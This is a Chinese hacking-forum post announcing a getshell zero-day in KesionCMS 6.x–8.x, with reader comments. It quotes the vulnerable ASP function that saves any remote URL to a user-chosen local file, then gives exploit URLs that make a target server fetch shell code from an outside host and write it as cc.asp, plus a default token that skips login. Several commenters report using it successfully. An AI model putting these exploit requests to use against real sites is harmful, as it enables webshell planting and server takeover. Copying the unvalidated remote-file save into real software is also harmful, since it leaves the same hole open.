科讯 6.x~8.x getshell 0day
这个东西发现好久了,两年多了吧
废话不多说,直接上代码
Dim KS:Set KS=New PublicCls
Dim ID:ID = Replace(KS.S("ID")," ","")
Dim ChannelID:ChannelID=KS.G("ChannelID")
If ChannelID="" Then ChannelID=2
If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then
   If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then
      Response.write KS.G("LocalFileName")'错误提示
   End If
End If
代码略……
        '==================================================
        '过程名:SaveBeyondFile
        '作  用:保存远程的文件到本地
        '参  数:LocalFileName ------ 本地文件名
        '参  数:RemoteFileUrl ------ 远程文件URL
        '==================================================
        Function SaveBeyondFile(LocalFileName,RemoteFileUrl)
            On Error Resume Next
                SaveBeyondFile=True
                dim Ads,Retrieval,GetRemoteData
                Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
                With Retrieval
                        .Open "Get", RemoteFileUrl, False, "", ""
                        .Send
                        If .Readystate<>4 then
                                SaveBeyondFile=False
                                Exit Function
                        End If
                        GetRemoteData = .ResponseBody
                End With
                Set Retrieval = Nothing
                Set Ads = Server.CreateObject("Adodb.Stream")
                With Ads
                        .Type = 1
                        .Open
                        .Write GetRemoteData
                        .SaveToFile server.MapPath(LocalFileName),2
                        .Cancel()
                        .Close()
                End With
                If Err.Number<>0 Then
                   Err.Clear
                   SaveBeyondFile=False
                   Exit Function
                End If
                Set Ads=nothing
        End FunctionIf KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then
   If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then
      Response.write KS.G("LocalFileName")'错误提示
   End If
End If利用比较简单,登陆后访问
https://www.t00ls.com/Wap/Plus/PhotoVote.asp?LocalFileName=cc.asp&RemoteFileUrl=http://www.bksec.net/111111.txt
成功会在Wap/Plus下写入cc.asp,并返回文件名,其中的111111.txt为shell代码。。
ps:禁止转载,6.x~7.x测试存在,8.x是我加上去的,没有测试,应该存在吧
有的朋友说鸡肋,那就不鸡肋吧:
https://www.t00ls.com/Wap/Plus/PhotoVote.asp?LocalFileName=cc.asp&RemoteFileUrl=http://www.bksec.net/1.txt&wap=76650e3cd0279d4d5fa6c99ad5590
其中的wap=76650e3cd0279d4d5fa6c99ad5590a30是登陆后的验证码,相当于session
这个东西wap=76650e3cd0279d4d5fa6c99ad5590是默认的。。。。好了不多说了。





评论90次
xi望,还能用一阵。。。
以前用过这个CMS,最后转到DEDE了,
2年多了,坑爹~
好东西哦 收下了
犀利啊
收藏了。
顶了。 算是珍藏了。。
好东西啊.... 藏了两年依然很有用。
两年= =。
大黑阔藏了2年的东东~
用了03xi统测试直接成功,谢了~
看看你conn.asp 44行
getshell比注射给力
KesionCMS v7.06 Build0608 GBK 是这样测试么,我怎么没成功呢,求指点~
两年多.....
这个还不错,支持下
感谢分享。很牛的说。
LZ真藏的住啊,一个洞憋两年
好东西。